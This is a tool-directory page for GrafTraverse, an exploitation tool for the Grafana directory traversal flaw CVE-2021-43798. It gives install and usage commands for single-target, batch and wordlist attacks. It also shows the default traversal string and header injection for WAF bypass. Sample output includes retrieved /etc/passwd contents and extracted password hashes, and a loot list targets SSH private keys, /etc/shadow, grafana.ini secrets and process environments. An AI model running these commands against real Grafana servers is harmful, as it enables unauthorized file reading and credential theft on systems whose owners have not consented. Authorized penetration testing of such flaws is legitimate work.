Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GrafTraverse-CVE-2021-43798 — CVE-2021-43798 MiNi Exploitation Framework | Kitploit
Tools/GitHubGitHub/asbawy/graftraverse-cve-2021-43798
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubasbawy/graftraverse-cve-2021-43798

GrafTraverse-CVE-2021-43798

CVE-2021-43798 MiNi Exploitation Framework

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GrafTraverse - CVE-2021-43798 MiNi Exploitation Framework

Command-line automation tool for authorized security testing of Grafana Directory Traversal (CVE-2021-43798).


Overview

Banner

CVE-2021-43798 is an unauthenticated directory traversal vulnerability in Grafana 8.x that allows attackers to read arbitrary files on the underlying filesystem via the /public/plugins/ endpoint. The root cause is improper path sanitization on plugin asset requests, enabling ../ sequences to escape the intended directory.

GrafTraverse is a complete rewrite of the original proof-of-concept. It fixes critical request-handling bugs, adds multi-threaded batch scanning, automatic plugin discovery, credential extraction, and structured reporting — making it a production-grade tool for red teams and penetration testers.


Features


Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse

# Ensure requests is available (it ships with Kali)
pip3 install requests

# Make executable
chmod +x GrafTraverse.py

Usage

GrafTraverse uses a subcommand-based CLI. All commands support --help.

1. Interactive Single Target

Launch the interactive menu against one host:

root@kitploit:~
python3 GrafTraverse.py single -u http://IP:PORT
root@kitploit:~
============================================================
 INTERACTIVE MODE
============================================================
 1. /etc/passwd
 2. grafana.ini
 3. grafana.db
 4. Custom path
 5. Full automated loot
 6. Scan plugins
 7. Exit
============================================================

2. Plugin Scan

Quickly identify which plugin endpoint is vulnerable without exploitation:

root@kitploit:~
python3 GrafTraverse.py scan -u http://target:PORT

3. Batch Scanning

Load targets from a file and process them concurrently:

root@kitploit:~
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv

targets.txt format:

root@kitploit:~
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Lines starting with # are ignored

4. Wordlist Enumeration

Feed a custom file list for deep traversal:

root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000   --wordlist sensitive_files.txt   --output-dir ./loot   --json log.json

5. Proxy & Custom Headers

Route through Burp Suite and add custom headers:

root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000   --proxy http://127.0.0.1:8080   -H "X-Forwarded-For: 127.0.0.1"   -H "Authorization: Bearer eyJ0..."

Command Reference

single

batch

FlagDescription
-l, --listFile with target URLs (required)
--workersConcurrent threads (default: 5)
(all single flags supported)

scan

FlagDescription
-u, --urlTarget URL (required)
(all network flags supported)

Example Output

Successful File Retrieval

root@kitploit:~
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)

------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------

[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd

Grafana DB Hash Extraction

root@kitploit:~
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
    admin:PBKDF2$sha256$10000$...base64...
    editor:PBKDF2$sha256$10000$...base64...
    viewer:PBKDF2$sha256$10000$...base64...

Target Files (Automated Loot)

The built-in loot sequence attempts to retrieve the following files in order:


Affected Versions

  • Grafana 8.0.0 through 8.3.0
  • Patched in 8.3.1 and 7.5.12
Download Tool
FeatureDescription
Multi-Plugin Brute-ForceAutomatically probes 40+ built-in plugins to find a vulnerable path
Interactive ModeMenu-driven single-target exploitation with live file preview
Batch ModeConcurrent multi-target scanning with configurable thread workers
Wordlist ModeDeep file enumeration using custom wordlists
Auto Hash ExtractionAutomatically extracts PBKDF2 password hashes from downloaded grafana.db
Structured LoggingExport results to JSON and CSV for seamless reporting
Proxy SupportRoute traffic through Burp, ZAP, or any HTTP proxy (--proxy)
Custom HeadersInject arbitrary headers for WAF bypass or auth tokens (-H)
Traversal CustomizationOverride default traversal depth for non-standard environments (--depth)
Smart FilteringEliminates false-positives by rejecting plugin JS/CSS/HTML responses
Zero DependenciesOnly requires requests (pre-installed on Kali / Parrot)
FlagDescription
-u, --urlTarget URL (required)
--no-downloadView-only mode, do not save files
-t, --timeoutRequest timeout in seconds (default: 10)
--proxyHTTP/HTTPS proxy URL
-H, --headerCustom header (repeatable)
--depthTraversal string (default: ../../../../../../../../)
--output-dirDirectory to save retrieved files
--jsonAppend results to JSON log file
--csvAppend results to CSV log file
--wordlistFile containing paths to enumerate
--pluginForce a specific plugin name
FileTypeSensitivity
/etc/passwdTextUser enumeration
/etc/shadowTextPassword hashes (rarely readable)
/etc/hostsTextNetwork topology
/etc/hostnameTextHost identification
/etc/grafana/grafana.iniTextGrafana secrets & DB credentials
/var/lib/grafana/grafana.dbBinarySQLite DB with user hashes & API keys
/var/log/grafana/grafana.logTextOperational intelligence
/root/.ssh/id_rsaTextSSH private key
/root/.ssh/authorized_keysTextKey-based access mapping
/proc/self/environTextProcess environment variables
/proc/self/cmdlineTextProcess arguments
/proc/versionTextKernel version
/proc/mountsTextFilesystem layout
/etc/os-releaseTextOS identification
/etc/issueTextOS identification
/etc/crontabTextScheduled tasks
/etc/resolv.confTextDNS configuration